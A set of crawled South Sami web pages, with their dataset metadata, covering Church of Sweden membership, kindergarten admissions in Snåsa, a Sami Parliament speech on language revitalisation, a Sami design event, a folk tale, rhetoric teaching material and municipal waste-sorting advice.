Mannasinie dan jïjnjesh sijhtieh gærhkosn meatan årrodh jïh dej barkosne? Dan vuelege maahtah naan vaestiedassh lïhtsegijstie ovmessie aalterisnie lohkedh.\n\"Gosse mov gåmma sealadi manne bööremem gærhkoen sårkoedåehkeste åadtjoejim. Desnie lin gellie jeatjah aarpijh seamma tsiehkesne. Dïhte lij dan hijven dejgujmie soptsestalledh. Dïhte faamoem vedti.\"\n\"Manne viehkiem jïh dåarjoem gærhkoste åadtjoeh gosse daam daarpesjem.\"\n\"Manne gellie aejkien ekonomeles dåeriesmoerh åådtjeme mov vaenie voeresebeetnegijstie. Åålmegen diakovne mannem viehkiehtamme dåarjoem ohtsedamme jïh dellie manne bearkanamme.\"\n\"Gosse mov geelle sealadi dellie åadtjoejim daejredh idtji leah lihtsege Sveerjen gærhkosne. Manne lïhtsegem sjïdtim raakte gellen juvlemen mænngan, manne sïjhtem gosse manne sealedem edtjem gærhkoen vuekine juvlelgidh jïh im sijhth edtja dovres mov maanide sjidtedh.\"\nGosse manne eejhtege-eejehtimmesne lim dellie dan hijven åålmege sjïere gaavnedimmiesijjiem mijjese geerve almetjidie jïh maanide öörni. Dïhte lij vihkeles gåeteste båetedh såemies aejkien jïh mubpide gaavnedidh.\"\n\"Mov mïelen mietie gærhkoen sosijaale barkoe dan vihkeles. Sïjhtem daam dåarjodh.\"\n\"Mov mïelen mietie Sveerjen gærhkoen internasjonaale aehpie viehkie vihties. Sïjhtem dïsse vedtedh.\"\n\"Manne mov sijjiem gærhkoen laavlomedåehkesne gaavnim. Manne lyjhkem ektesne laavlodh.\"\n\"Dæjmetje daelvien gellie baataræjjah mijjen dajvese juhtiejin. Sïjhtim maam akt dejtie darjodh. Gosse åålmege volontærh ohtsedi gïeleprïhtjegen tjåanghkose dellie dïsse bïeljelim. Daate lea joekoen buerie.\"\n\"Dej jaepiej gaskem gosse fuehpie mov barkosne dellie skïemtjedim jïh håjnarostim. Guhkie tijjem eannan maehtim barkedh, mohte hearra mov åålmegisnie mannem vïehkiehtieh abpe tïjjem. Månnoeh soptsestallimen. Dïhte lij aaj vihkeles mov åvteste rohkeli.\"\n\"Mov aarkebiejjie barkosne lea fuehpesne. Gærhkoen meditasjovne-gaavnedimmesne åadtjoem gaajhkem luejhtedh jïh lïegkedidh. Manne eejnegen buerebe åaram meditasjovnen mænngan.\"\n\"Manne gærhkoen skyllemejarkan bïeljelim. Desnie jïjnjh mov bïjre lïerim jïh jaahkoen bïjre jieliedisnie. Idtjim aerebi rohkelh, mohte daelie daamhtaj rohkelem. Destie raeffiem vaajmosne åadtjoem.\"\n\"Manne sïjhtem gærhkoen noerebarkoem dåarjodh. Dan vaenie jearsoes gaavnemesijjieh noeride mijjen seabradahkesne. Gærhkosne noerh orre jieledevierhtieh maehtieh lïeredh jïh ij daarpesjh oktegh bearkanidh jieliedisnie.\"\nLïhtseginie gærhkosne dellie gaajhkem daam daarjoeh jïh dovne jeenebem jienebh nuepiem vadtah!\nBuerie båeteme lïhtseginie Sveerjen gærhkosne.","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/www.svenskakyrkan.se\/lihtsegevoete","date":"2019-09-22T18:09:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514575627.91\/warc\/CC-MAIN-20190922180536-20190922202536-00315.warc.gz","language":"sma","language_score":1.0000070333,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"sma_Latn_score\": 1.0000070333480835}","num_words":677,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.061,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Snåsa har samordnet opptak for alle barnehagene i kommunen. Det skal brukes samme elektroniske søknadsskjema til familiebarnehager, private- og kommunale barnehager.\nTil søknad om ny plass og endring i behov, nyttes elektronisk søknadsskjema.\nVedtak om ny barnehageplass vil gjelde helt til skolepliktig alder eller oppsigelse av plass.\nSøknadsfrist. 1.mars\nTsaekeme maanagïertese 2019 \/ 2020\nSnåasen lea iktedamme tsaekeme gaajhkide maanagïertide tjïeltesne. Seamma elektrovneles ohtsemegoere edtja åtnasovvedh fuelhkiemaanagiertide, privaate- jïh tjïelten maanagïertide.\nJuktie orre sijjiem ohtsedh jïh daerpiesvoetide jarkelidh, edtja ohtsemegoerem nuhtjedh.\nNænnoestimmie orre maanagïertesijjien bïjre sæjhta faamosne årrodh goske maana skuvleaalhtarasse båata jallh sijjiem heajhta.\nOhtsememierie njoktjen 1.b.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.snasa.kommune.no\/skole-og-barnehage\/barnehager\/informasjon-om-barnehageplass-samordnet-opptak\/","date":"2019-10-18T10:15:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986679439.48\/warc\/CC-MAIN-20191018081630-20191018105130-00358.warc.gz","language":"sma","language_score":0.9751257896,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.975125789642334, \"sme_Latn_score\": 0.019867312163114548}","num_words":95,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.042,"flagged_words_ratio":0.0,"lang_id_score":0.979,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gieries gaajhkesh dovnesh\nGæjhtoe ihke åadtjoem meatan årrodh daam noerekonferansem rïhpestidh, jïh aaj håalomem dijjese hööltedh ånnetji mænngan.\nDaan jaepien EN:n gaskenasjonaale jaepie aalkoealmetjegïelide. Daan jaepien EN sæjhta aalkoealmetjegïeli tsiehkiem våajnoes darjodh jïh eevtjedh, jïh guemievoetese bööredidh juktie gïeli båetijem aejkiem gorredidh.Unesco lea jeahteme akte bielie gaajhkijste gïelijste veartenisnie sæjhta gaarvanidh jis ij råajvarimmiejgujmie nïerhkh juktie gïelide vaarjelidh. Veartenen ovrehte 6-7000 joekehts gïelijste, jienebh stoerretjuetie daejstie gïelijste maehtieh gaarvanidh, jïh gellie gïelh leah gaatesjen joe gaarvanamme. Aalkoealmetji gïelh leah joekoen prååsehke – Unescon læstoen mietie håvhtadamme gïeli bijjeli medtie 2680 gïelh leah håvhtadamme, jïh gaajhkh saemien gïelh leah daennie læstosne.\nSaemiedigkie vuajna gïele lea maadthtjiehpiesvoete almetji luvnie. Gïele evtiesåvva reakadimmien raejeste jïh mijjem abpe jieledem dåerede. Gïelen tjïrrh maehtebe mubpiejgujmie gaskesadtedh, domtesi, åssjaldahki jïh nïekedassi bïjre soptsestidh, laavenjostoem sjugniedidh jïh veartenem mijjen bïjre guarkedh. Gïele lea vihkeles juktie mijjen identiteetem evtiedidh jïh damtedh, jïh maam akt jeahta gïeh mijjieh goh almetjh. Gïele aaj sæjhta vihkeles årrodh mijjen motorihkeles, sosijaale jïh emosjonelle evtiedimmesne. Jeatjah baakoejgujmie gïele joekoen daerpies mijjese almetjidie.\nAaj vuejnebe saemien gïelh leah vihkeles fïereguhten gïeleutniejasse, saemien årroejidie jïh evtiedæmman saemien siebriedahkeste. Saemien gïelh eah leah ajve govlesadtemen bïjre, men lïhke ektiedamme saemien identiteetese, kultuvreaarpan jïh ektiedæmman mubpide. Saemien gïelh leah symbovle mijjen ektievoetese, mijjen aarpan jïh mijjen baante mijjen maadtojde. Gïelen tjïrrh akte ektiedimmie mubpide sjïdtede, saaht maam gïelide mijjieh haalvebe jallh man vaeniem jallh jïjnjem gïelem haalvebe.\nDan gaavhtan Saemiedigkie vaarjelimmine jïh jieliehtimmine saemien gïelijste barka, jïh gïeli statusem siebriedahkesne nænnoestidh. Daan jaepien Saemiedigkie lea Saemiedigkien gïelestrategijine nïerhkeme – Gïelelutnjeme. Daate joekoen hijven sjeahta gaskenasjonaale jaepien aalkoealmetjegïelide. Gïelelutnjemen fokuse lea våajnoes darjodh, evtiedidh, dåårrehtidh jïh maahtoem lutnjedh gaajhkine daltesinie. Sæjhta joekoen gïelefaalenassi åvteste barkedh maanide jïh noeride, juktie maanah jïh noerh leah båetijen aejkien gïeleguedtijh. Gïelelutnjeme lea Saemiedigkien guhkiebasse barkoe saemien gïeli åvteste, jïh åssjaldahke lea dam gellie jaepieh tjïrrehtidh.\nSaemiedigkien visjovne Gïelelutnjeminie lea saemien edtja iemie bieline årrodh siebriedahkeste, jïh gaajhkesh edtjieh nuepiem åadtjodh saemien govledh, vuejnedh jïh nuhtjedh gaajhkine siebriedahkesuerkine. Åssjaldahke lea saemien edtja iemie bieline årrodh aarkebiejjeste dovne dejtie mah saemiestieh jïh daaroestieh.Gïelelutnjeme aktem guhkies barkoem våaroeminie åtna, jïh dam guhkiebasse barkoem NBS:ste 2016:18 Vaajmoegïele. Strategijh Gïelelutnjemisnie sijhtieh Saemiedigkien stuvremetjaatseginie årrodh dan guhkiebasse barkose juktie Vaajmoegïelem bæjjese fulkedh. Juktie ellies jïh akteraeresne lutnjemem saemien gïelijste jïh saemien gïelepolitihkeste åadtjodh, lea eevre daerpies nasjonaale, regijonaale jïh tjïelten åejvieladtjh leah meatan daennie barkosne. Naemhtie maehtebe sjïehteladtedh ihke saemien iemie jïh jielije gïeline sjædta siebriedahkesne.\nMaehtede aaj meatan årrodh saemien gïelh lutnjedh. Dijjieh noerh lidie gïeli båetijem aejkiem! Dijjieh edtjede gïelide guhkiebasse jåerhkedh. Mejnie datne maahtah viehkiehtidh guktie saemien gïelh aaj båetijem aejkiem utnieh?\nDaan biejjien saemien gïelh eah govlh dan daamtaj maam limh sïjhteme. Mijjen håhkoe lea jienebh sijhtieh saemiestidh, jïh maahta geerve årrodh, jïh akte stoerre sïlle, gïelem naakenigujmie jarkelidh mejgujmie vaane daaroestidh. Sïjhtem dijjem haestedh latjkoem darjodh aktine jeatjah almetjinie, dåtnoeh edtjeden aelkedh sinsitnine saemiestidh. Pryövh ajve ånnetji jis dov gïelevåarome ij leah dan nænnoes. Aalkoelisnie maehteden aelkedh saemiestidh såemies sjïere ektiedimmine, jïh dan mænngan jieniebinie ektiedimmine. Dagke maehteden latjkedh dåtnoeh edtjeden aelkedh saemiestidh mearan beapmoeståante. Ij daarpesjh dan stoerre sïlle årrodh aelkedh saemiestidh ånnetji ånnetji, jalhts saemien ij leah dov åejviegïele.\nJïh dijjese mah saemiestieh; jalhts gie akt dutnjien daaroste, ih edtjh aajhpehtovvedh, men jåerhkedh saemiestidh jïh naemhtie haestedh almetjidie dov bïjre saemiestidh. Naemhtie maehtebe meatan årrodh gïelide lutnjedh. Man hijven lea jis buektiehtibie jienebh gïeleutnijh åadtjodh gosse aalkoealmetjegïeli gaskenasjonaale jaepiem aavoedibie.\nAaj vihkeles saemien gïelh vååjnoeh aarkebiejjien. Gosse gïelh leah våajnoes dellie dïhte gïeli statusem siebriedahkesne lutnjie. Dijjese noeride, dagke sosijaale meedijah leah reaktoe sijjie gïelem våajnoes darjodh. Daesnie åarjelsaemien dajvesne akte joekoen hijven vuesiehtimmie guktie maahta saemien vuesiehtidh jïh eevtjedh sosijaale meedijinie. Instagramkontoe GÏELEVIEHKIE! Gïeleviehkie aktem joekoen hijven barkoem dorje, jïh mijjese nuepiem vadta gïelem vuejnedh jïh govledh mij ij dan daamtaj sosijaale meedijinie vååjnh. Gaajhkesh maehtieh meatan årrodh saemien gïelh våajnoes darjodh sosijaale meedijinie. Maehtebe statusem saemien gïelesne tjaeledh, såemies saemien baakoeh nuhtjedh, jallh amma lyjhkedh jïh videovh saemiengïeleldh sisveginie juekedh. Gaajhkesh mijjieh maehtebe ånnetji darjodh ihke gïelh edtjieh vååjnedh.\nTjoerem aaj Gïelevåhkoem neebnedh, mij lea akte dejstie råajvarimmijste Gïelelutnjemisnie, jïh aaj Saemiedigkien åejviemïerhkesjimmie EN:n gaskenasjonaale jaepeste aalkoealmetjegïelide. Golken 21. – 27. b. 2019 (våhkoe 43) lea voestes aejkien gïelevåhkoe öörnesåvva abpe laantesne. Ulmie Gïelevåhkojne lea saemien gïeli statusem lutnjedh, jïh daajroem lissiehtidh saemien gïeli jïh kultuvren bïjre abpe siebriedahkesne. Raaktan daan våhkoen saemien edtja govledh jïh vååjnedh gaajhkem lehkiem.\nGïelevåhkoe akte ektie barkoe juktie saemien gïelh våajnoes darjodh, jïh daajroem gïeli bïjre lissiehtidh. Privaate jïh byögkeles institusjovnh, jieleme, årganisasjovnh jïh jeatjah aktöörh bööresuvvieh saemien våajnoes darjodh raaktan dan våhkoen. Saemiedigkie lea jienebi stoerre aktöörigujmie gaskesadteme juktie dejtie bööredidh meatan årrodh gïelevåhkosne. Ektesne stuerebe dïedtem vaeltebe ihke saemien govloe, vååjnoe jïh åtnasåvva gaajhkine siebriedahkesuerkine.\nJalhts saemien lea håvhtadamme nåhkedh, saemien gïelh jåerhkieh kreeptjedidh. Håhkoe lea. Akte sjïdtije voerkesvoete saemiej gaskem gïelen jïh gïeleveeljemen bïjre, jïh ahkedh jienebh almetjh veeljieh meatan årrodh kuvsjine juktie gïelem bååstede vaeltedh maam boelvh dej åvtelen leah dasseme. Dejnie dajvine gusnie akte jallh göökte boelvh eah leah saemien nuhtjeme, noere geerve saemieh saemien bååstede vaeltieh jïh vååregelaakan pryövoeh dam sijjen maanide vedtedh. Orre boelve maanajgujmie mah saemiestieh sjïdtedeminie.\nNöörjen siebriedahke aaj saemien kultuvrem jïjtsasse vaalteme, jïh saemieh abpe laantesne stuerebe jååhkesjimmiem sijjen kultuvren jïh sijjen gïeli åvteste dååjroeh. Daelie stoerre ïedtje saemien siebriedahkese jïh tïjje ij leah maahteme buerebe årrodh akten ektie barkose gïelen åvteste.\nGegkestem dijjieh sïjhtede meatan årrodh guktie gïelevåhkoe dïhte lutnjeme sjædta maam saemien daarpesje. Sïjhtem dijjem juvnehtidh meatan fulkedh gïelevåhkoen nedtesæjrosne jïh sosijaale meedijinie. Desnie maahtah gaskem jeatjah gïehtjedidh mejtie naan öörnedimmieh dov lïhke gïelevåhkoen. Gegkestem dijjieh sïjhtede meatan årrodh gïelevåhkosne. Maehtede aaj viehkiehtidh gïelevåhkoem geerjehtidh sosijaale meedijidie viehkine ïebnetsegkijste#giellavahkku #giellavahkko jïh #gielevåhkoe. Viehkine gaajhkijste dijjeste gïeleåtnoem jïh gïeleldh statusem lutnjebe!\nMaehtede vielie gïelevåhkoen bïjre vuejnedh saemiedigkien nedtesæjrosne jallh Gïelevåhkoe ohtsedidh facebookesne.\nVaajtelem dijjieh hijven konferansem åadtjode jïh gæjhtoe mov åvteste.","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.saemiedigkie.no\/Saernievaaarhkoe\/Rihpestimmiehaaalome-Noerekonferansesne-Tjaktjen-Tjaaanghkoe","date":"2019-10-13T23:35:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986648343.8\/warc\/CC-MAIN-20191013221144-20191014004144-00150.warc.gz","language":"sma","language_score":1.000007987,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.0000079870224}","num_words":949,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.138,"stopwords_ratio":0.163,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"– Tjoerebe saemien dorjesh vielie jaksoemieresne darjodh jeatjah årroejidie, juktie daerpiesvoete lea desnie. Seamma tïjjen edtjebe viehkiehtidh daajroem vedtedh saemien kultuvren bïjre, saemiedigkieraerie Silje Karine Muotka jeahta, mij dïedtem åtna jielemen åvteste.\nAreena juktie saemien hammoedimmiem vuesiehtidh\nSámi Design Days öörnesåvva göökte biejjieh. Voestes biejjien goevten 4. b. saemien hammoedæjjah jïh produsenth åesiestæjjide gaavnedieh goh vaarjoebovrh, interijöörebovrh, gallerijh, museumh jnv. Mubpien biejjien goevten 5. b. saemien sïelth sijhtieh åestijh gaavnedidh.\nDaate edtja areenine årrodh produsentide gusnie åadtjoeh jïjtjemse akten maarhkedese vuesiehtidh mah leah vijriesåbpoe goh dïhte voenges maarhkede mejtie doh jeanatjommesh duekieh, jïh aaj baajedh jienebh Saepmien ålkolen åadtjoeh vuejnedh saemien vaaroeh leah vielie goh gaptah jïh nejpieh. Åestiejidie sæjhta akte åajvoeh sijjie årrodh saemien dorjesh åestedh turistebovri ålkoli, gusnie dah daamtaj duakasuvvieh jåvleaajjaj jïh tråalli gaskem.\n– Gosse hijven dorjesh akten saemien hammoedimmiemeessese tjöönghkie, gusnie åesiestæjjah aktem eksklusijve faalenassem åadtjoeh aktem biejjiem, jïh sïejhme åestijh mubpien biejjien, lea joekoen hijven åssjaldahke juktie olkese veartenasse jaksedh sijjen dorjesigujmie. Vihkeles doh saemien hammoedæjja\/vytnesjæjja aktem vihties veeljemem vaeltieh gusnie jïh mennie ektiedimmesne satne sov dorjesh åehpiedahta, vytnesjæjja Ove Stødle, Indre Billefjovleste jeahta.\nSaemien dorjesh vielie åehpies darjodh\nSeamma tïjjen goh dïhte saemien ektiedimmie seamma varke jåhta goh jååhkesjimmie saemien kultuvreste jïh stuerebe våajnoesvoeteste, joekoen TV- jïh musihkescenesne, dellie aaj garmeresvoete læssene saemien identiteetevæhtah vaarjojne jïh kleebjeginie guedtedh, jallh dejtie aatide mejtie gåetiej sisnie åtna.\n– Akte paradokse kvaliteetedorjesh voenges saemien hammoedæjjijste jïh produsentijste Nöörjeste eah leah jaksoemieresne årroejidie jïh bovride abpe laantesne. Daelie gujht tïjje båateme akte profesjonelle areena tseegkesåvva mij dåarjojne sjædta ihke saemien hammoedimmie jïh kvaliteetevætnoe gaajhkine bovrine gååvnesieh jïh gaajhkide åestiejidie, saemiedigkieraerie Silje Karine Muotka jeahta.\nEdtja daajroem jïh goerkesem sjugniedidh\nŠoop Šoop 2020 edtja aaj viehkiehtidh guktie produsenth jïh åesiestæjjah daajroem åadtjoeh reeremen bïjre saemien identiteeteste jïh kultuvresne aktene kommersijelle ektiedimmesne\nDaate sæjhta jiehtedh gaajhkesh tjuerieh goerkesem utnedh dejtie saemien kultuvrevæhtide seahkaridh, vuesiehtimmien gaavhtan gaptah leah vïedteldihkie fuelhkide jïh kultuvreektiedimmide, mearan gaajhkesh maehtieh saemien lijnieh, vaarjoeh jïh kleebjegh nuhtjedh. Daate edtja viehkiehtidh daajroem geerjehtidh bovride jïh åestiejidie mah dagke eah rikti doesth saemien vaaroeh åestedh dan åvteste billieh «miste» darjodh, seamma tïjjen goh viehkehte guktie saemien produsenth hammoedimmeste garmeresvoetine maehtieh vuejnedh akte stoerre jïh gellielaaketje åestijedåehkie kultuvri dåaresth sijjen vaaroeh guedtieh.\nSaemiedigkie lea stilleme sïeltide Árvu, Være jïh Kreativ Industri biejjide Šoop Šoop 2020 evtiedidh. Daate lea sïelth mah dovne tjarke tsåeptsiem hammoedimmiefaagesne utnieh jïh nænnoes ektiedimmiem saemien identiteetese jïh kultuvrese utnieh.\nVielie bïevnesh, gaskesadth:\nSaemiedigkie, saemiedigkieraerine Silje Karine Muotka, mob. 984 87 576, jallh raeriestæjja Kirsten Østby, tlf 78 47 41 08\nVytnesjæjja Ove Stødle: 993 46 286","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/saemiedigkie.no\/Saernievaaarhkoe\/Baejhkoehtimmie-biejjijste-Soop-Soop-Sami-Design-Days-2020","date":"2019-10-22T21:06:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570987824701.89\/warc\/CC-MAIN-20191022205851-20191022233351-00086.warc.gz","language":"sma","language_score":1.0000003576,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 1.0000003576278687}","num_words":404,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.158,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daate soptseste lea gærjeste Saemien lohkeme-gærja maam Knut Bergsland jïh Gustav Hasselbrink tjaaleme. Ella Holm Bull lea gærjam daaletje tjaeleme-vuekien mietie tjaaleme. Gærjesne heamturh, soptsesh jïh vaajesh gååvnesieh.\nNahkoergöörnje jaememe\nGoh Nahkoergöörnje galki jaemedh, dellie dah altese almetjh eelkin onterdamman (onterdidh), guktie sån gåarede dejnie Nahkoergöörnjen sealojne. Jïh sïjhtin edtja rohkelidh dan stoerre Jupmielasse.\nMen Nahkoergöörnje idtji gujht dïhte provhkh naan aejkien rohkelidh Jupmielasse, provhki barre rohkelidh jïh sjïeledidh dejtie jïjtjese jupmielidie. Jeehti barre, ij satne maehtieh rohkelidh, men maahta vueliem joejkedh dan Stoerre Jupmielasse.\nDellie dïhte altese fuelhkie bïllijin jïh jeehtin: «Ij gujht die Jupmelem maehtieh joejkedh.» Men Nahkoergöörnje joejki Jupmelem vueliem. Jïh dam vueliem minngelen gåhtjoejin Stoerre Jupmelen vueline.\nGoh dellie lij joejkeme, dellie dah låavtegh eelkin svihtjemen, maaje lij öövre låedtjie. Jïh goh dellie vuartasjieh bæjjese, dellie vuejnieh ahte dïhte elmie goh rïhpese. Jïh dellie goh veelkes ledtije haalene dehtie gåeteste, goh dïhte Nahkoergöörnje jaama.\nDellie dah almetjh åadtjoejin vuejnedh ahte Jupmele novke lij govleme dan Nahkoergöörnjen rohkelassem, maaje lij barre vuelie.\nLaavenjassh: Dïhte gollehkeKjernestoff\nQuize: Dïhte gollehke tïjjeKjernestoff\nLaavenjassh: BrorkeKjernestoff\nLaavenjassh: GurhtieKjernestoff\nLaavenjassh: RiepieKjernestoff\nLaavenjassh: Sjugniedimmie-soptseshKjernestoff\nLaavenjassh: Staaloej bïjreKjernestoff\nLaavenjassh: Staaloe jïh åerpienadtjhKjernestoff\nTjaeleme-laavenjassh staaloej bïjreKjernestoff\nLaavenjassh: Rovhtegen bïjreKjernestoff\nLaavenjassh Rovhtegen soptsesasseKjernestoff\nMaam rovhtegen bïjre måjhtah?Kjernestoff\nMaam saajvi bïjre måjhtah?Kjernestoff\nLaavenjassh: Saajvi bïjreKjernestoff\nLaavenjassh: Saajvejaevresne gööleminieKjernestoff\nQuize bïernen bïjreKjernestoff\nLaavenjassh: Bïernen bïjreKjernestoff\nLaavenjassh: Duvrien-ålmaKjernestoff\nLaavenjassh: VaajeseKjernestoff\nLaavenjassh: Biejjien nïejteKjernestoff\nLaavenjassh: Klies KliemmaKjernestoff\nLaavenjassh: Nahkoergöörnjen giebnieKjernestoff\nLaavenjassh: Naahkoegöörnje jaememeKjernestoff\nLaavenjassh: TjuvrieKjernestoff\nLaavenjassh: DïejveshKjernestoff\nDïhte gollehke tïjjeKjernestoff\nBrorkeKjernestoff\nGurhtieKjernestoff\nRiepieKjernestoff\nStaaloej bïjreKjernestoff\nDellie goh staaloe moere-galtine pruvriKjernestoff\nAkte staaloe mij dakterem utniKjernestoff\nStaaloe jïh åerpienadtjhKjernestoff\nNjeevetje-ietnie jïh RovhtegeKjernestoff\nSaajve-jaevresne gööleminieKjernestoff\nSaemie saajvi luvnieKjernestoff\nBïerneKjernestoff\nSaemien jïh boelt-aajjan dååjvehtseKjernestoff\nDuvrien-ålmaKjernestoff\nBiejjien nïejteKjernestoff\nKlies KliemmetKjernestoff\nNahkoergöörnjen giebnieKjernestoff\n- Kjernestoff\nSjeltien nåejtieKjernestoff\nTjuvrieKjernestoff","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:182073\/topic:1:131964\/topic:1:185443\/resource:1:129562","date":"2019-10-16T20:41:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986669546.24\/warc\/CC-MAIN-20191016190431-20191016213931-00017.warc.gz","language":"sma","language_score":0.9991680384,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9991680383682251}","num_words":281,"character_repetition_ratio":0.203,"word_repetition_ratio":0.0,"special_characters_ratio":0.121,"stopwords_ratio":0.068,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daate akte båeries gåetie jallh akte gåetie mij slaameme? Akte håalije jallh tjaelije maahta gaajhkh såarhts viehkie-vierhtieh nuhtjedh juktie lohkijen domtesidie jïh vuajnojde tsevtsedh. Daennie sæjrosne mijjieh ajve naan vuesiehtimmieh neebnebe.\nPlusse-baakoe jïh mijnuse-baakoe\nBaakoeh maehtieh hijven jallh nåake sisvegem utnedh jïh naemhtie dam ræhpas argumentasjovnem nænnoestehtedh. Lohkije-tjaalegisnie Nihtieh kreeke-pryövenassh! vuesiehtimmien gaavhtan, tjaelije gellie baakoeh jïh dïejvesh nuhtjieh mah domtesidie tsevtsieh. Daah baakoeh edtjieh lohkijem skreejrehtidh jïjtjemse aamhtesen sïjse jieledh.\nRetorihkeles gyhtjelassh\nRetorihkeles gyhtjelassh leah gyhtjelassh aktine buajhkoes vaestiedassine mij veanhtoem nænnoestahta dïsse mij hååle jallh tjaala:\nMannasinie dotkijh edtjieh kreekh irhkedh juktie bådtjah gaavnedh skïemtjelassi vööste mah jïjtjene skåaltoe?\nRyöktesth soptsese dåastoejasse\nGosse ryöktesth dåastoejidie soptseste jallh tjaala dellie seedtije aktem persovneles gaskesem tseegkie lohkijigujmie jallh goltelæjjajgujmie jïh dan gaavhtan maahta aelhkebe sjïdtedh dejtie jaehkiehtidh:\nJïjnjesh utnieh pryövenassh kreekide leah maereles juktie dah leah almetji buaratjommesen gaavhtan.\nHaestemh\nGosse imperatijve jïh plearoeh soptsestimmie-vuekieh åtnasuvvieh dellie seedtije dåastojem haasta jïh pryövoe dam viehkiehtidh maam akt darjodh:\n\"Darjoeh maam akt byjresen åvteste, datne aaj!\"\n\"Aellede numhtie jåerhkedh!\"\nMearhkan sïjse bïejedh\nMuvhth almetjh pryövoeh dan geervelaakan soptsestidh goh buektiehtieh dan åvteste dah sijhtieh mubpide jaehkiehtidh dah leah joekoen væjkele jallh bïllijieh guhkies raajesijstie ammes baakoejgujmie jïh faage-dïejvesigujmie. Jeatjah almetjh tjaebpies baakoeh nuhtjieh juktie nåake dïjrem baakoej sïjse gïebredh jallh maam akt jiehtedh dan mujvieslaakan goh gåarede jallh eah sïjhth dïedtem vaeltedh dan åvteste maam jiehtieh.\nLustesvoete\nFöörhkedimmie gaskesem sjugnede. Dïhte guhte daajra maam akt luste vaestiedidh jallh hijven vaajesem soptsestidh, aaj viehkehte dåastojem slaajperdidh jïh ij dan soe laejhtehks årrodh. Ironije sæjhta jiehtedh mubpelen jiehtedh destie maam meala. Dïhte guhte ironijem nuhtjie, dïhte dåastoejasse naemhtie jeahta: \"Jis guarkah maam raaktan sïjhtem, datne væjsehke, jïh mijjieh maam akt ektesne utnebe!\" Naemhtie ironije aktem ektievoetem seedtijen jïh dåastojen gaskem sjugnede. Dïhte almetje jallh dïhte maam ironije dååste, vuestelen ålkoestamme sjædta daehtie ektievoeteste.\nGïeleldh guvvieh\nGïeleldh guvvieh leah verkemes geajnoe vaajmose jïh aajlese. Guvvieh domtesh gåaskoeh. Dah tjelmide biejieh dïsse mij lea vihkielommes jïh aatide bijjie-geatjan biejieh. Ikth Eatneme jïh noerh fealadasse-ministerem Liv Signe Navarsete gåhtjoeji \"eksosministere\" dan åvteste dah tuhtjin dïhte fer jïjnjh geajnoeh jïh fer vaenie ruevtie-raajroeh bigki. Sïejhmemes dle aaj aelhkie gïeleldh guvvieh guarkedh:\nFreia sjokolaade – akte onne bæhta Nöörjeste!\nDov gåetie orre faerpien mietie haelehte!\nBaakoeh\nSaemien\nDaaroen\nEatneme jïh noerh\nNatur og ungdom\nfealadasse-ministere\nsamferdselsminister\nArgumentasjovneKjernestoff\nNihtieh kreeke-pryövenassh!Kjernestoff","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/ndla.no\/nb\/subjects\/subject:15\/topic:1:172880\/topic:1:182050\/resource:1:173010","date":"2019-10-18T14:33:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986682998.59\/warc\/CC-MAIN-20191018131050-20191018154550-00174.warc.gz","language":"sma","language_score":1.0000008345,"language_script":"Latn","minhash_cluster_size":16,"top_langs":"{\"sma_Latn_score\": 1.0000008344650269}","num_words":378,"character_repetition_ratio":0.043,"word_repetition_ratio":0.0,"special_characters_ratio":0.138,"stopwords_ratio":0.085,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Du är här:\nDatne gie jïjtse gåetesne årroeminie dov sorhph bïejedh sorhpebæhtose jïh dan åvteste maeksedh tjïelte dov sorhpide veedtjie. Datne maahtah sorhpide unniedidh jis dejtie veesmedh jïh sorhph veesmemestasjovnese buektedh. Jis datne dam darjoeh dellie dov maaksoem unniedidh.\nJis datne gåetieluhpesne årroeminie dellie datne dov sorhpide olkese guedtedh sorhpegåetien gåajkoe gusnie datne galkh ovmessie materijaalh veesmedh. Kruepiesorhph vuesiehtimmien gaavhtan båeries möbleerh, elektronihke, kemikalierh jïh såafoesorhph maahtah namhtah buektedh Må veesmemejarngese.\nJearsoesvoete jïh vihtiesvoete\nJis aalka bueledh jallh ålvoes ovlæhkoem sjïdtedh galkh eejnegen nummerem 112 ringkedh. Dïhte lea SOS Alarmen nummere, mij maahta pollisem, skïemtjebïjlem, praedtiebïjlem jallh maam akt mij dallegh tjuara viehkine båetedh.\nJis maam akt ålvoes deahpede\nJis maam akt ålvoes siebriedahkesne deahpede, vuesiehtimmien gaavhtan dilhkuvh gaasse olkese 